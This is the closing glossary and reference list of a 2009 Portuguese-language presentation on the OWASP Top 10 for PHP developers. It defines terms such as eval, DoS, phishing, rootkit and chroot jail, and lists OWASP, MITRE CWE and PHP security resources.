Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 Glossário Este glossário foi montado para facilitar o entendimento de certos termos/siglas utilizados neste material. Boa parte deste foi montada tendo como base as definições presentes na Wikipedia, definitivamente a melhor fonte de informação para este tipo de coisa. A API – Application Programming Interface, ou literalmente “Interface de Programação de Aplicação”. Uma API é um conjunto de rotinas, estruturas de dados, classes, e/ou protocolos fornecidos por bibliotecas e/ou Sistemas Operacionais de forma à suportar e orientar o desenvolvimento de aplicações. B backend – Em alguns casos é quase um sinônimo de server-side, mas com a diferença básica de ser um termo usado para componentes específicos. Por exemplo, um RDBMS é um backend. Também pode ser usado, em desenvolvimento, para se especificar as partes de uma aplicação. Por exemplo, se você está desenvolvendo a parte da aplicação que envolve PHP e um RDBMS você está “desenvolvendo o backend da aplicação”. black list – Literalmente “lista negra”. Abordagem de se considerar apenas o que é inválido. C canonicalização – Decodificação de uma entrada de dados para uma forma primitiva para que a aplicação possa trabalhar com o dado. chroot jail – Uma solução que faz com que a aplicação rodando dentro de um diretório específico não possa acessar arquivos fora deste diretório. client-side – O “lado do cliente”, tipicamente representado, no caso das aplicações web, pelo browser. D defacement – Literalmente “deformação”. Consequência de um ataque (levando-se em conta o contexto deste material) em que o site é deformado com a alteração/inserção das imagens presentes no mesmo. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 49 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 DOM – Document Object Model ou Modelo de Objetos do Documento, entre outras coisas permite o parse de um documento, através da identificação de seus elementos. DoS – Denial of Service, ou Negação de Serviço. Consequência de um ataque (levando- se em conta o contexto deste material) em que um serviço é “negado” pelo seu provedor (software/hardware). E eval – Corruptela de evaluate, ou literalmente “avaliar”. Comando que executa a string informada como se esta fosse código-fonte da própria linguagem. F fallback – Ação “alternativa”, executada quando todas as demais falham. I input – Entrada de dados. M mashup – Aplicação web que combina elementos de outras fontes/aplicações. O output – Saída (normalmente, mas não necessariamente a exibição) de dados. P phishing – Técnica onde procura-se enganar o usuário forjando um site/aplicação legítimo. Q query – Literalmente “consulta”. Basicamente utiliza-se o termo para qualquer comando (seja o comando propriamente dito de consulta ou não) enviado para um RDBMS. query string – Parte da URL responsável por transmitir dados para um script. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 50 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 R (R)DBMS – (Relational) Data Bases Managing System ou “Sistema Gerenciador de Bases de Dados Relacionais”. Sistema que gerencia as bases de dados. Exemplos: PostgreSQL, Oracle rootkit – Software malicioso composto de um ou mais programas que tem por objetivo ocultar p fato de que um sistema foi comprometido. S sand box – Ver chroot jail. server-side – Literalmente o “lado servidor”. É considerado server-side: o interpretador PHP, o (R)DBMS, etc... SMB – Server Message Block, ou “Bloco de Mensagens do Servidor”. Protocolo comumente usado para prover acesso compartilhado para arquivos, dispositivos e portas seriais. SO – Sistema Operacional stored procedures – Pedaços de código (similares à funções) programados e armazenados (stored) diretamente em um (R)DBMS. stream – Sucessão contínua, geralmente com início e fim definidos, de dados. string – Conjunto de caracteres. Utiliza-se para dados do tipo “texto”. T token – Identificador, geralmente gerado em tempo de execução, que permite identificar e validar uma seção ou conjunto de ações realizado em uma aplicação. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 51 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20 Referências OWASP – Open Web Application Security Project: http://www.owasp.org/ ● Capitulo Brasileiro: http://www.owasp.org/index.php/Brazilian ○ Top Ten Project: ○ http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project PHP Project: http://www.owasp.org/index.php/Category:PHP ○ PHP AntiXSS Library Project: ○ http://www.owasp.org/index.php/Category:OWASP_PHP_AntiXSS_Library_Proj ect ESAPI – Enterprise Security API: ○ http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API MITRE Corporation: http://www.mitre.org/ ● CWE – Common Weakness Enumeration: http://cwe.mitre.org/ ○ Vulnerability Type Distributions in CVE: http://cwe.mitre.org/documents/vuln- ■ trends/index.html Diversos: ● SQL Attacks by Example: http://www.unixwiz.net/techtips/sql-injection.html ○ Wikipedia: http://wikipedia.org/ ○ PHP Security Consortium: http://phpsec.org/ ○ 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 52 / 52

Top 10 OWASP com PHP

by Er Galvão Abbott on Mar 29, 2009

Accessibility

Categories

Upload Details

Usage Rights

1 Embed 2

Statistics

Top 10 OWASP com PHP Document Transcript